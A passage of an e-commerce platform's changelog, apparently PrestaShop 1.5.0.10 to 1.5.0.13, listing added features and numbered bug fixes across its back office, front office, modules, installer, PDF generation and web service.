bug + [-] WS : Fix id_shop to not being mandatory + [-] WS : creation of new product combination returned an error #PSCFV-3333 + + [-] PDF : #PSCFV-2795 : Add font : freeserif and fix bug in tcpdf.php + [-] PDF : Bug Fixed #PSCFV-2516 - Unable to print invoice when the physical url has been removed + [-] PDF : Bug Fixed #PSCFV-2735 - Missing tax details in order slip + [-] PDF : Bug Fixed #PSCFV-2773 - Front office, error on generating RMA form + [-] PDF : Bug Fixed #PSCFV-2788 - Incorrect discount value if free shipping + [-] PDF : Bug Fixed #PSCFV-2912 - .htaccess & index.php in the PDF folder + [-] PDF : Bug Fixed #PSCFV-2945 - Basic Authentication + TCPDF : Beware if you need to modify the getLogo think to symlinks, vhosts etc ... + [-] PDF : Bug Fixed #PSCFV-3044 - Images incorrectly displayed + [-] PDF : Bug Fixed #PSCFV-3225 - Translations + [-] PDF : Canadian taxes + + [-] TR : BugFix : #PSCFV-3470 : french mispelling + [-] TR : fix #PSCFV-3200 + [-] TR : fix #PSCFV-3229 + [-] TR : fix #PSCFV-3253 + [-] TR : fix #PSCFV-3269 : remove call to PSQL() which is unnecessary + [-] TR : fix #PSCFV-3358 + [-] TR : fix #PSCFV-3374 + [-] TR : fix #PSCFV-3403 : check if is an object before loading stock data + [-] TR : fix #PSCFV-3425 + [-] TR : fix #PSCFV-3436 + + +#################################### +# v1.5.0.13 - 15948 (2012-06-07) # +#################################### + + Added Features: + + [+] PROJECT : Add method Module::isEnabled + + [+] MO : Adding CashOnDelivery Module :) + + Improved/changed features: + + [*] PROJECT : update the physical data model + + [*] BO : add method for import translations tabs + + Fixed bugs: + + [-] PROJECT : active field for Object Module is not compliant with multishop :) + [-] Project : #PSCFV-2594 - Allow accent in URL + [-] Project : #PSCFV-2633 #PSCFV-2622 - Fix problems with multishipping and order payment & invoice + + [-] INSTALLER : Add missing key on image product + [-] Installer : fixed bug #PSCFV-2690 - wrong back office screenshot in the installer + [-] Installer : Notice some constants are already defined + [-] Installer : Specific price could now be equal to 0 + + [-] FO : BugFix : #PSCFV-2541 : TECHNICAL ERROR : unable to save addresses + [-] FO : BugFix : #PSCFV-2590 : State not appear in front-office + [-] FO : BugFix : #PSCFV-2628 : Combination is not selected from the URL (at least on firefox) + [-] FO : Cart products cache fixed (when you remove a product from the cart) + [-] FO : fixed bug #PSCFV-2669 - fix bug on product customization in order process + [-] FO : Fixed #PSCFV-2704 category position is now correct after upgrade, thanks to Conny ! + [-] FO : #PSCFV-2580 - Fix bug with customisation and increasing/decreasing qty + + [-] BO : Add a check on the scandir for the Employees theme + [-] BO : Bug Fixed #2676 - Missing button in group shop tab + [-] BO : Bug Fixed #PSCFV-2119 - Import CSV: Supplier details not visible + [-] BO : Bug Fixed #PSCFV-2555 - AdminController with Options: Add new button turns into Save + [-] BO : Bug Fixed #PSCFV-2677 - You shouldn't be allowed to put spaces in virtual url + [-] BO : BugFix : #PSCFV-2597 : Category tree is not loaded with context shop + [-] BO : BugFix : #PSCFV-2620 : Wrong client age when the age is not filled + [-] BO : BugFix : #PSCFV-2630 : Combination and multishop association issue with shared stock through group shop + [-] BO : BugFix : #PSCFV-2639 : The search autocomplete does not work in multi store mod + [-] BO : BugFix : #PSCFV-2644 : Unable to remove stock to a product with advanced stock management + [-] BO : Can not access to module configuration if not installed anymore + [-] BO : Delete backslashes quotes on the BackOffice search + [-] BO : fix bug #PSCFV-2522 - Unable to switch a product from virtual to normal + [-] BO : fixed bug on SEO & URLs page + [-] BO : fixed bug #PSCFV-2502 - fixed bug on notification system in back office + [-] BO : fixed bug #PSCFV-2584 - fix translations issue in product page + [-] BO : fixed bug #PSCFV-2608 - carrier creation fail redirect + [-] BO : fixed bug #PSCFV-2624 - Error after deleting supplier associated with a product + [-] BO : fixed bug #PSCFV-2641 + [-] BO : fixed bug #PSCFV-2652 + [-] BO : fixed bug #PSCFV-2665 + [-] BO : fixed bug #PSCFV-2714 - Product availability not upgraded + [-] BO : fixed bug #PSCFV-2717 - Final price does not appear anymore in the BO product page + [-] BO : Fixed #PSCFV-2714 - option when out of stock - with vAugagneur + [-] BO : Fix gradient in ie + [-] BO : Fix gradient in ie + [-] BO : fix #PSCFV-2480 : fix translations + [-] BO : fix #PSCFV-2480 : fix translations + [-] BO : fix #PSCFV-2504 : Now class PaymentModule can be translated + [-] BO : fix #PSCFV-2513 + [-] BO : fix #PSCFV-2517 : CSV importing combinaisons + [-] BO : fix #PSCFV-2540 : CSV importing categories errors + manufacturers + suppliers + [-] BO : fix #PSCFV-2544 : delete selected manufacturers + [-] BO : fix #PSCFV-2545 - can't change product out of stock order status + [-] BO : fix #PSCFV-2564 : imported customers with a CSV file + [-] BO : fix #PSCFV-2578 : Not duplicate customers with the CSV file + [-] BO : fix #PSCFV-2581 : update Jquery Ajax File Uploader in version 2.1 + [-] BO : fix #PSCFV-2603 : translations + [-] BO : Import CSV: Supplier is not active when created throught csv import + [-] BO : Import CSV: Supplier not linked to shops + [-] BO : #PSCFV-2511 - Country visible in all shop + [-] BO : #PSCFV-2530 - Change warning message + [-] BO : #PSCFV-2542 - Fix bug : Unable to translate PaymentModule : some email terms are still in english + [-] BO : #PSCFV-2553 : fix bug html for email order_conf.html + [-] BO : #PSCFV-2556 #PSCFV-2550 - Fix password alert message "é" + [-] BO : #PSCFV-2559 - Ask user to reload all product tabs not loaded correctly + [-] BO : #PSCFV-2562 - Select all categories on creating a new shop + [-] BO : #PSCFV-2568 - CmsController and CmsCategoriesController cannot be called dirrectly + [-] BO : #PSCFV-2569 - Fix CMS category duplication + [-] BO : #PSCFV-2576 : add URL back when create address when checkout + [-] BO : #PSCFV-2581 : Minify Jquery Ajax File Uploader version 2.1 + [-] BO : #PSCFV-2582 : now list customer is not empty when deleting multiple customer + [-] BO : #PSCFV-2583 fix customers which are displaying in notifications + [-] BO : #PSCFV-2591 : fix translations in bankwire module + [-] BO : #PSCFV-2606 - Fix bug with FastCGI/CGI and url multishopping (we cannot be sure the mod_rewrite is enable or disable) + [-] BO : #PSCFV-2626 : fix bug in localization pack for the currency format + [-] BO : #PSCFV-2635 - Confirmation message asked multiple times + [-] BO : #PSCFV-2660 : Fix bug in regex for parse translations + [-] BO : #PSCFV-2661 : Fix translation when use parent::displayError() in modules + [-] BO : #PSCFV-2661 : Fix translation when use parent::displayError() in modules + [-] BO : #PSCFV-2700 : fix translations + [-] BO : #PSCFV-2711 : Delete button "edit" in AdminSlip + [-] BO : #PSCFV-2716 : Fix memory limit when upload image file + [-] BO : #PSCFV-2729 : delete translations of this character : "?" in AdminGroups + [-] BO : Total tax doesn't appear on the invoice + [-] BO : Unable to save admin preferences + [-] BO : Update assign value + [-] BO : Warnings while getting modules logo has been fixed - Bug #PSCFV-2602 + + [-] Classes : fixed bug #PSCFV-2681 - issue with updating of current_state column on order table + + [-] CORE : Bug Fixed #PSCFV-2703 - Unable to redirect if one arg contain .php + + [-] MO : BugFix : #PSCFV-2566 : Created category does not appear on CMS module configuration (blockcms) + [-] MO : Fixed typo on module followup french mail + [-] MO : #PNM-240 - Fix bug with blocklayered price filter on IE + [-] MO : #PSCFV-2437 : Bug fix adding block using multishop + [-] MO : #PSCFV-2437 : Bug fix adding block using multishop (upgrader) + [-] MO : #PSCFV-2437 : Shop ID configuration changed + [-] MO : #PSCFV-2539 - Module block newsletter don't show success error message correctly + [-] MO : #PSCFV-2567 - Module CMS block was not merged with new shop + [-] MO : #PSCFV-2587 - Fix bug with sliding up block cart + [-] MO : #PSCFV-2587 - Fix slidedown duration + [-] MO : #PSCFV-2587 - Remove "white line" when shopping cart is empty. + [-] MO : #PSCFV-2640 - Fix bug with blocklayered and multishop + + [-] PDF : After an upgrade, the Invoice's tax tab doesn't use the discounts + [-] PDF : Bug Fixed #PSCFV-2724 - Incorrect SQL query for ecotax breakdown + + [-] TR : fix #PSCFV-2543 + + +#################################### +# v1.5.0.12 - 15612 (2012-05-22) # +#################################### + + Added Features: + + [+] BO : Request when a module is installed is sent to the webservice. + + [+] Classes : include new method isXmlHttpRequest() in Controller class, allows to make ajax request without ajax=1 in GET parameter + + [+] CORE : Add statistic request for theme too (refacto of the last commit for module) + + Improved/changed features: + + [*] PROJECT : Adding hook on dispatcher + [*] PROJECT : Adding hook on FrontController and AdminController SetMedia method + + [*] Installer : add new function for move the translation module files + + [*] FO : cart summary is adapted to cart rules with a special "friendly" display + [*] FO : #PSCFV-1463 & #PSCFV-1258 - Gift products and standard products are now displayed on seperate lines + + [*] BO : Added a link to the customer group edition on the customer page + [*] BO : Improved the UI of the Combinations generator and added some explanations - #PSCFV-770 + + [*] MO : Added a # before the order number in the e-mail sent to the merchant when an order is placed + [*] MO : change calls method Tools::displayError() by $name_module->l() && Translations + + [*] PDF : Cart rules are now displayed as a "product line" + + Fixed bugs: + + [-] PROJECT : Deleting duplicate hook - #PSCFV-163 + + [-] Installer : Decimal replaces Float + [-] INSTALLER : Fixed a missing "echo" at Step 3 in the SMTP configuration + [-] installer : fixed bug #PSCFV-2303 + [-] INSTALLER : Fixed bug #PSCFV-372 - Added phone number for German, Spanish and Italian + [-] Installer : fix missing columns, #PSCFV-2464 + [-] Installer : Order detail taxes table is now filled + [-] Installer : query cut into 1 separated queries for performance issue #PSCFV-2277 #PSCFV-2263 #PSCFV-1817 + [-] Installer : Undefined variable due to hook call in objectModel::add() + + [-] FO : added the concept of product package (multi-shipping) for the cart rules in getContextualValue() + [-] FO : BugFix : #PSCFV-2099 : Block reinsurance doesn't appear in front office (style was not loaded + install fixtures) + [-] FO : BugFix : #PSCFV-2198 : Unable to edit customer account in front + [-] FO : BugFix : #PSCFV-2208 : Params link from CMS page link are incorrect (only one char instead of a sentence) + [-] FO : BugFix : #PSCFV-2221 : Column 'price' in order clause is ambiguous by filtering search result + [-] FO : BugFix : #PSCFV-2243 : CCC optimization on scripts compile each script two times + [-] FO : cart rules did not use specific prices in the calculations #PSCFV-702 + [-] FO : Cart rules local cache wasn't cleaned correctly #PSCFV-91 + [-] FO : Cart summary : quantity is fixed to 1 + [-] FO : Center column is now in full size when left column is not displayed #PSCFV-1497 + [-] FO : fix bug #PSCFV-737 - cannot download virtual file from order history + [-] FO : fixed a great part of the cart rules with multi-shipping + [-] FO : fixed bug #PSCFV-1286 - live edit bug when module name contains "_" + [-] FO : fixed bug #PSCFV-1368 - Password is restricted to 32 characters. + [-] FO : fixed bug #PSCFV-2382 - Your shopping cart is empty not appear and the right column go to the left side + [-] FO : fixed bug #PSCFV-2393 - On Linux system there is a little problem around the "link " + [-] FO : fixed bug #PSCFV-484 - live edit bug + [-] FO : Fixed bug PSCFV-564 related to Google Maps API (Added "region" parameter) + [-] FO : Fix issue on compare product when cookie->id_compare value is invalid + [-] FO : fix #PSCFV-548 - when ordering out of stock downloadable product, the download is not available in order history + [-] FO : fix #PSCFV-548 - when ordering out of stock downloadable product, the download is not available in order history + [-] FO : Fix SSL redirection + [-] FO : #FSCFV-903 : Add Mail confirmation sending when subscribing to the newsletter via Accont creation or edition + [-] FO : improvements with OPC, Cart Rules and refresh #PSCFV-377 #PSCFV-2196 + [-] FO : Invalid voucher name + [-] FO : #PSCFV-1463 - Disallow removing free product from the blockcart + [-] FO : #PSCFV-1463 - Fix bug on removing a product where one is a free gift + [-] FO : #PSCFV-152 - Check payment method are allowed before displaying them on the checkout page + [-] FO : #PSCFV-1792 - Fix bug with attribute check_access of the method Category::getProducts() + [-] FO : #PSCFV-2138 Removed * on Home Phone (it's not a required field) + [-] FO : #PSCFV-2147 - Fix bug with date of delivery + [-] FO : #PSCFV-2149 : Front office translations are connected width sprintf() + [-] FO : #PSCFV-2150 : Translations of back office are connected width sprintf() + [-] FO : #PSCFV-2150 : Translations of modules are connected width sprintf() + [-] FO : #PSCFV-2151 : Translations of errors are connected width sprintf() + [-] FO : #PSCFV-2156 - Avoid undefined index + [-] FO : #PSCFV-2158 - Add warning message when a product cannot be delivered to an address + [-] FO : #PSCFV-2197 - Show which products is assigned to which carrier, when multiple carriers are proposed for the one delivery method + [-] FO : #PSCFV-2211 : Make sure _PS_BASE_URL_ is defined + [-] FO : #PSCFV-2219 - Change "No carriers" message when user is not logged in. + [-] FO : #PSCFV-2282 - Allow "+" in email address during account creation + [-] FO : #PSCFV-2306 : Fixed duplicate meta title on manufacturer page + [-] FO : #PSCFV-2317 : fix bug + [-] FO : #PSCFV-2478 : Fixed a problem with payment method which displays an error when a product created in multi-shop was chosen + [-] FO : #PSCFV-67 : Translation english updated and english keys update in all languages + [-] FO : wrong calcul of the free shipping in multi-shipping + + [-] BO : Add check to avoid redefine _PS_BASE_URL_ on the admin init + [-] BO : added a translation in French + [-] BO : admin tab without multishop classes couldn't be displayed #PSCFV-2427 + [-] BO : BugFix : Creating a category in multishop updates her position as well + [-] BO : Bug Fixed #PSCFV-1475 - Multishop themes pictures not configurable + [-] BO : Bug fixed #PSCFV-1975 - Combination import + multishop + [-] BO : Bug fixed #PSCFV-2443 - Incorrect default tab for my new employee + [-] BO : Bug Fixed #PSCFV-2470 - Group by id_category + [-] BO : Bug fixed #PSCFV-2474 - Missing shop association when creating a manufacturer with a logo + [-] BO : Bug fixed related to #PSCFV-1354 - Specific price with multishop, groups/currencies/countries should vary in function of the selected shop + [-] BO : Bug fixed related to #PSCFV-2490 - Created group doesn't appear in my shop + [-] BO : Bug fixed related to #PSCFV-2490 - Default group should be copied + [-] BO : Bug fix on module extract zip - #PSCFI-5335 + [-] BO : BugFix : #PSCFV-1297 :Multistore: admin can delete special price of another shop + [-] BO : BugFix : #PSCFV-1297 : Multistore: admin cannot delete special price of another shop anymore + [-] BO : BugFix : #PSCFV-2133 : AdminTracking bug in multishop context (ambigus active field in SQL query) + [-] BO : BugFix : #PSCFV-2205 : Cannot associate shop with products + [-] BO : BugFix : #PSCFV-2206 : Cannot change active or inactive for a product with multishop + [-] BO : BugFix : #PSCFV-2209 : Multishop : cannot delete shops with dependencies + [-] BO : BugFix : #PSCFV-2242 :CSV Import - Issues with products + [-] BO : BugFix : #PSCFV-2260 : Admin in one shop can see categories from another shop + [-] BO : BugFix : #PSCFV-2292 : Column 'price' in order clause is ambiguous by filtering manufacturer product + [-] BO : BugFix : #PSCFV-2300 : Bug on categories position + [-] BO : BugFix : #PSCFV-2308 : Missing WHERE clause in Manufacturer::getManufacturers() + [-] BO : BugFix : #PSCFV-2337 : Multishop : Attributes and values : problem creation attribute + [-] BO : BugFix : #PSCFV-2343 : Group discount does not show associated categories properly + [-] BO : BugFix : #PSCFV-2372 : Created zones do not appear + [-] BO : BugFix : #PSCFV-2373 : Created currency do not appear + [-] BO : BugFix : #PSCFV-2373 : Problem on country creation + [-] BO : BugFix : #PSCFV-2374 : After creating a shop without category, category default from product displays wrong name + [-] BO : BugFix : #PSCFV-2378 : Created carriers do not appear. + [-] BO : BugFix : #PSCFV-2423 / #PSCFV-2424 : .htaccess generation is improved (description updated if you cannot generate your htaccess) + [-] BO : BugFix : #PSCFV-2440 : Impossible to delete a shop with share option + [-] BO : BugFix : #PSCFV-2441 : Shop creation : unable to save parameters + [-] BO : BugFix : #PSCFV-2465 : When creating a shop without importing categories, I can still see the default category from other shop + [-] BO : BugFix : #PSCFV-2476 : Shop creation : adding an error message if you do not select at least the root category + [-] BO : BugFix : #PSCFV-2481 : Scene creation needs to show categories from context + [-] BO : Bug with slash on modules description - #PSCFV-2146 + [-] BO : Categories do not appear in allshop context + [-] BO : changed state iso code max length #PSCFV-2220 + [-] BO : Check if store is set. + [-] BO : CONTEXT_ALL shouldn't display a product price + [-] BO : CSV Import multishop combinations + products + [-] BO : Delete accounting + [-] BO : fix bug #PSCFV-1597 - image upload size display + [-] BO : fix bug #PSCFV-2169 - broken toolbar + [-] BO : fix bug #PSCFV-2188 - imported products with combinations are not added to cart + [-] BO : fix bug #PSCFV-2230 - some tables are not cleaned when deleting products during import + [-] BO : fix bug #PSCFV-2231 - blocklink problem when not in multishop + [-] BO : fix bug #PSCFV-2237 - Broken SQL Request in Product->getAccessories() + [-] BO : fix bug #PSCFV-2239 - js error on product page on IIS + PHP5.4 + [-] BO : fix bug #PSCFV-2251 - http_build_query must fix arg_separator + [-] BO : fix bug #PSCFV-2268 - blocklink bug with multishop and link list + [-] BO : fix bug #PSCFV-2307 - multishop: product modification applied to the wrong shop caused by race condition with ajax calls + [-] BO : fix bug #PSCFV-2363 - wrong product tabs loaded when the product page is saved and has an error + [-] BO : fix bug #PSCFV-2383 - adding warehouses not working + [-] BO : fix bug #PSCFV-2387 - z-index fixes + [-] BO : fix bug #PSCFV-2397 - broken language import with multishop + [-] BO : fix bug #PSCFV-2402 - scenes creation with multishop is broken + [-] BO : fix bug #PSCFV-341 - ajax call could be made twice for the same product tab + [-] BO : Fixed a bug which did not permitted to found a customer in the creation of order in the back office + [-] BO : Fixed a French hardcoded page (Favorites Views) + [-] BO : Fixed an issue with htmlentities() + [-] BO : Fixed a typo ("Informations" => "Information") + [-] BO : fixed bug #PSCFV-1296 - Can't add a product in order (BO) + [-] BO : Fixed bug #PSCFV-1590. Save restrictions won't delete the ones for inactive module. + [-] BO : fixed bug #PSCFV-2155 - carrier max_height, max_depth, max_weight, max_width problem + [-] BO : fixed bug #PSCFV-2180 - Not auto height with long name shop + [-] BO : Fixed bug #PSCFV-2183 - Missing French translations on the PDF documents + [-] BO : fixed bug #PSCFV-2217 - Assign new zone in BO > Localisation > States generate an error + [-] BO : fixed bug #PSCFV-2256 - Error when duplicate a product + [-] BO : fixed bug #PSCFV-2259 - "Contact options" section is missing from Customers > Contacts page + [-] BO : fixed bug #PSCFV-2285 - Unable to activate/deactivate a product from list + [-] BO : Fixed bug #PSCFV-2288. _PS_ADMIN_DIR_ was not defined + [-] BO : fixed bug #PSCFV-2304 + [-] BO : fixed bug #PSCFV-2324 - Genertating roobots.txt in BO not working + [-] BO : fixed bug #PSCFV-2342 - fix issue on Admin Tab position + [-] BO : fixed bug #PSCFV-2390 - Suppliers multishop issue + [-] BO : fixed bug #PSCFV-2428 - fix bug on combination creation + [-] BO : fixed bug #PSCFV-2434 - FIx bug on Product line edition in order page + [-] BO : fixed bug #PSCFV-2436 - fix bug on product adding on order page + [-] BO : fixed bug #PSCFV-2503 - fix issue on stock update when product line edition in order + [-] BO : fixed bug #PSCFV-383 + [-] BO : fixed bug #PSCFV-521 - range fix + [-] BO : fixed bug #PSCFV-727 - added some help + [-] BO : fixed #PSCFV-1239 - tinyMCE issue on IE8 + [-] BO : fixed #PSCFV-2176 - missing confirmation when deleting product + [-] BO : fixed #PSCFV-2190 - error at pack creation + [-] BO : Fixed the Sample file for Categories Import - #PSCFV-1960 + [-] BO : Fixing module restrictions in multishop context + [-] BO : Fixing warnings on PaymentModule Tab + [-] BO : fix #PSCFV-2120 - no product listed in product return form + [-] BO : fix #PSCFV-2177 - js bug with default supplier selection + [-] BO : fix #PSCFV-2212 + [-] BO : fix #PSCFV-2299 - Unknown gender issue + [-] BO : fix #PSCFV-2302 - import: bug with truncate confirmation + [-] BO : fix #PSCFV-2316 + [-] BO : fix #PSCFV-2318 + [-] BO : fix #PSCFV-2322 - cannot deactivate multishop with only one shop + [-] BO : fix #PSCFV-2344 + [-] BO : fix #PSCFV-2345 + [-] BO : fix #PSCFV-2353 + [-] BO : fix #PSCFV-2359 : change name default theme in module themeinstallator + [-] BO : fix #PSCFV-2364 : Now we can exported a theme of all shops + [-] BO : fix #PSCFV-2364 : Now we can imported a theme in each shop && normalize && translations + [-] BO : fix #PSCFV-2364 : Now we can selected of modules which must be disabled + [-] BO : fix #PSCFV-2365 : add message for using the sprintf() in yours translations + [-] BO : fix #PSCFV-2366 : check if an sentence use an specific syntax + [-] BO : fix #PSCFV-2369 - post data is lost if there is an error while saving + [-] BO : fix #PSCFV-2377 - missing JS files when saving product with errors + [-] BO : fix #PSCFV-2381 : now count translations fields are good and translations... + [-] BO : fix #PSCFV-2466 : Fix translations tabs to spanish in installor + [-] BO : fix #PSCFV-2466 : Fix translations tabs to spanish in installor + [-] BO : fix #PSCFV-2466 : Fix translations tabs to spanish in installor : fix encoding errors + [-] BO : fix #PSCFV-2467 : Now, You can update your theme in AdminThemes + [-] BO : fix #PSCFV-2517 : Import combinaison, now the minimal quantity is not the quantity in ps_product_attribute + [-] BO : Fix scroll when errors occurred on modules + [-] BO : Fix translations issues on module description #PSCFV-2144 + [-] BO : Hide description label when there is no description #PSCFV-2145 + [-] BO : in the cart rules, when a reduction is associated to a specific product, the product is automatically added to the restrictions #PSCFV-2195 + [-] BO : Missing modules logo #PSCFV-427 + [-] BO : Modified a translation in French + [-] BO : Modified a translation in French + [-] BO : module tab crashed when trying to update a module that wasn't loaded (because of the XML cache file) + [-] BO : Multiple cart rules should be save in order total discount + [-] BO : no more fatal error when using Tools::apacheModExists and phpinfo() not available + [-] BO : Product filter initialization fixed in cart rules #PSCFV-2524 + [-] BO : #PSCFV-139 - Improving Retial refund + [-] BO : #PSCFV-1786 : fix size logo for PDF invoice + [-] BO : #PSCFV-2164 Added description for Cache options, and fixed links + [-] BO : #PSCFV-2186 : Find the good translation when a module is overrided + [-] BO : #PSCFV-2214 : Change the order of localizations packs + [-] BO : #PSCFV-2248 : translations for the back office + [-] BO : #PSCFV-2255 - overide helper/options in admin-dev/themes/.../stores + [-] BO : #PSCFV-2276 - Fix bug on changing status of a order with virtual products + [-] BO : #PSCFV-2279 Removed alert if token is invalid. + [-] BO : #PSCFV-2286 : Added errors message when the CMS form isn't filled && normalize + [-] BO : #PSCFV-2289 : fix CSS for hint messages + [-] BO : #PSCFV-2295 : remove the duplicate errors message && refactoring zip code insert + [-] BO : #PSCFV-2336 : Now importation of lang pack is moving in selected themes + [-] BO : #PSCFV-2473 - Fix bug with attribute value and shop + [-] BO : #PSCFV-2520 - Js error on advanced stock management + [-] BO : #PSCFV-71 - Fix bug with currency conversion + [-] BO : #PSCFV-731 : change type int by string for zipcode_from and zipcode_to + [-] BO : #PSCFV-858 - Rest to paid warning must be changed if the order is overpaid + [-] BO : refresh currency rates button fixed + [-] BO : there was some row doubled in the cart rules because of the multi-shop + [-] BO : translations errors : fix regex + [-] BO : Translations errors : now the modules files are search recursively + [-] BO : you cannot create 2 states with the same iso code in the same country anymore #PSCFV-53 + + [-] Classes : Bug Fixed #PSCFV-1271 - Order confirmation email + tax excl group + [-] Classes : fix bug #PSCFV-1568 - ImageManager PNG thumbnail param not used + [-] Classes : fix bug #PSCFV-2309 - Unable to override Shop::asso_tables + [-] Classes : fix #PSCFV-1218 - Re-ordering customized products don't duplicate the customization + [-] Classes : fix #PSCFV-2185 - bad handling of order states for merchandise returns + [-] Classes : #PSCFI-4973 : Bug fix mail receiver was null + + [-] Core : Fixed bug #PSCFV-586 - index.php was deleted during the Smarty Cache deletion + [-] Core : fixed typo in a SQL query #PSCFV-2189 + + [-] MO : Add ModuleController in ProductComments + [-] MO : Bug fixed #PSCFV-2311 - blockspecials doesn't display discounted products + [-] MO : Fixed Blockcart jump effect on hover + [-] MO : fixed bug #PSCFV-1356 - Module hometexteditor has the same text for each sub multishop + [-] MO : fixed bug #PSCFV-2269 - reset cache module block categories + [-] MO : fixed bug #PSCFV-2270 - fixe part 2 + [-] MO : fixed bug #PSCFV-2270 - JS refacto module favorite products + [-] MO : fixed bug #PSCFV-2278 - Function hookActionProductUpdate() is deprecated in mailalert module + [-] MO : fixed bug #PSCFV-2332 + [-] MO : Fixed bug #PSCFV-2414 - Mail alert "Order e-mail" was badly formated - Fixed in the 5 languages + [-] MO : gsitemap : generate sitemap for multi-shop fix #PSCFV-1493 + [-] MO : #PSCFV-2261 Check if the id_product is set + [-] MO : #PSCFV-2349 - Fix bugs with theme export + [-] MO : #PSCFV-2354 - Remove chars number limit of version number + [-] MO : #PSCFV-2356 - Theme installor - Check one theme at least is selected before exportation + [-] MO : #PSCFV-2357 - Fix bug with error displaying + [-] MO : #PSCFV-2415 : Add multilanguage support to blocktopmenu + [-] MO : retro compatibility fixed with Referral program #PSCFV-1531 + [-] MO : themeinstallator : add blockmyaccountfooter in the native modules + + [-] WS : id_group_shop is not mandatory + + [-] PDF : Bug Fixed #PSCFV-168 - Invoice discount & shipping are now correctly displayed + [-] PDF : Incorrect Order Return title + + [-] TR : fix #PSCFV-2352 + [-] TR : Minor changes + + +#################################### +# v1.5.0.11 - 14988 (2012-04-30) # +#################################### + + Added Features: + + [+] BO : Module controllers can now create custom rewrite in SEO page + + [+] MO : CloudCache module + [+] MO : Shipwire module + + Improved/changed features: + + [*] Installer : countries are now translated in German too (thanks to Bernhard Ankenbrand !) + + Fixed bugs: + + [-] FO : BugFix #PSCFV-1450 The Alias "My Address" is already used, please chose another one. + [-] FO : fixed bug #PSCFI-5454 - Guest tracking should be SSL encrypted + [-] FO : fixed bug #PSCFI-5502 - Incorrect resizing of addresses on the order history page + [-] FO : Fixed bug #PSCFV-1251 & #PSCFV-1727 + [-] FO : Fixed bug #PSCFV-1251 & #PSCFV-1727 + [-] FO : free products emptied when there isn't any other products in the cart #PSCFV-300 + [-] FO : #PSFV-813 - Fix bug with cart rule discount rounding price and price validator + + [-] BO : BugFix #PSCFV-1506 Fatal error when editing e-mail template in BO + [-] BO : BugFix #PSCFV-2110 #PSCFV-2117 Category association in product page (back-office) is now saved when you have only one shop + [-] BO : fixed bug #PSCFV-1726 - Meta Title Suppliers not save + [-] BO : Fix #PSCFV-2113 : replace Tools::file_exists_cache() by file_exists() && normalize + [-] BO : Fix #PSCFV-758 : translations + [-] BO : Fix #PSCFV-778 : encoding character in meta tags + [-] BO : #PSCFV-1325 - Remove warning message "$X paid instead of $X" if the order has not been paid + [-] BO : #PSCFV-139 - Partial refund must not be available when order was not paid + [-] BO : #PSCFV-139 - Partial refund must not be available when order was not paid + [-] BO : #PSCFV-1669 - Fix bug with customer add form, when an account already exists with the same email adddress + + [-] Classes : fixed bug #PSCFI-5435 - Webservice: cannot set negative combination quantity + + [-] MO : BugFix #PSCFV-2114 blocktopmenu : filter the categories that the user is allowed to see and browse + [-] MO : #PSCFV-1261 : Bug fix on CMS block delete action + [-] MO : Remove modules from wrong branche + + +#################################### +# v1.5.0.10 - 14874 (2012-04-25) # +#################################### + + Improved/changed features: + + [*] Project : Jquery 1.7.2 + + [*] FO : Layout & Template override + + [*] BO : fixed #PSTEST-1100 + [*] BO : fix #PSTEST-1140 + [*] BO : Help text have been improved (related to (#PSTEST-779) + [*] BO : #PI-107 refactoring product page JS - adding ProductTabsManager + [*] BO : #PI-123 - toolbar and page title refactoring + [*] BO : #PI-124 - lazy registering of smarty functions + [*] BO : #PI-124 - update lazy registering + [*] BO : #PI-84 - virtual product page has been remade + [*] BO : #PSFV-696 : add attachment when we duplicate a product + [*] BO : #PSFV-832 : change the type of the property "ajax" + [*] BO : #PSFV-865 - it is now possible to use drag and drop positions in custom controllers using HelperList + [*] Bo : #PSTEST-1095 : Remove id_address of the table table supplier and add a new fixture in the installer for the table address + [*] BO : #PSTEST-1141 : fix bugs in AdminImportController + [*] BO : #PSTEST-1157 - Ajax deletion of virtual file + [*] BO : #PSTEST-791 - Fiche produit Virtuels - Onglet Produit dématérialisé incompréhensible + + [*] WS : Allow override of getter from different classes + + [*] PDF : PDF templates are now into the root directory, you can override those templates into the /theme//pdf/ directory + + Fixed bugs: + + [-] Project : #PSCFI-519 - Blocklayered installation optimization + [-] Project : #PSFV-753 - OrderPayment::payment_method must be a genericName and not a name + [-] Project : #PSFV-781 - Fix bug with blockcart adding product animation + [-] Project : #PSFV-781 - Fix problem on transplanted Block cart on left/right collumn + [-] Project : #PSFV-781 - Profile and access cannot be managed by SHOP + [-] Project : #PSFV-786 - Link::getPaginationLink ignores array parameters + [-] Project : #PSFV-816 - Allow to attach multiple files to an email with the function Mail::send + [-] Project : #PSFV-820 - Cartrules are now reapplied each time we add/remove a product on/from the cart + + [-] INSTALLER : Active only the country selected by the merchant (#PI-69) + [-] Installer : Bug Fixed #PSFV-819 - order_tax shouldn't exist + [-] INSTALLER : BugFix : #PSTEST-1179 : iPod Nano specific price was wrong + [-] Installer : Fixed #PSCFI-5182 + + [-] FO : BugFix : #PSFV-844 : Categories links are now handled with multishop in footer + [-] FO : cart rules are now removed when the cart is empty #PSTEST-1205 + [-] FO : fixed bug where you couldn't get a free product with a cart rule if you already had the same product in your cart #PSTEST-1063 + [-] FO : fixed infinite loop in free shipping cart rule #PSTEST-1138 + [-] FO : fixed quantity display on customized product + [-] FO : #PSCFI-5322 - Order::hasBeenDelivered and Order::hasBeenPaid don't work for all order states + [-] FO : #PSCFI-5343 : Fixed a problem of E-mail subject encoding + [-] FO : #PSFV-604 - Add commentaries + [-] FO : #PSFV-656 - Fix bug with nbr product par page selector + [-] FO : #PSFV-660 - Fix bug with multishipping proposed whereas de multishipping is disable + [-] FO : #PSFV-706 - Fix problem with jqzoom and dom with relative position + [-] FO : #PSFV-717 - Bad parameter used + [-] FO : #PSFV-717 - Missing "bold" text in some mudules + [-] FO : #PSFV-719 - Fix bug with getting not available carriers on the cart + [-] FO : #PSFV-755 - Fix bug with bad total paid real + [-] FO : #PSFV-755 - Fix bug with bad total paid real + [-] FO : #PSFV-771 - Fix retrocompatibility problem with method displayContent + [-] FO : #PSFV-773 - Remove a double slash from breadcrumb image url + [-] FO : #PSFV-797 - Fix bug with order detail and customized products + [-] FO : #PSFV-803 - Fix bugs with customization and cart summary + [-] FO : #PSFV-813 - Fix bug with partial cartrules and free order + [-] FO : #PSFV-815 - Fix bug on the cart with carrier on updating the country of the address + [-] FO : #PSFV-815 - Moving an SQL request on the controller to the model + [-] FO : sometimes the cart rules total was doubled - fixed! #PSTEST-1202 + [-] FO : W3C fix + [-] FO : W3C fix + [-] FO : W3C fix + + [-] BO : addons display fixed #PSTEST-1110 + [-] BO : array_unique added in the 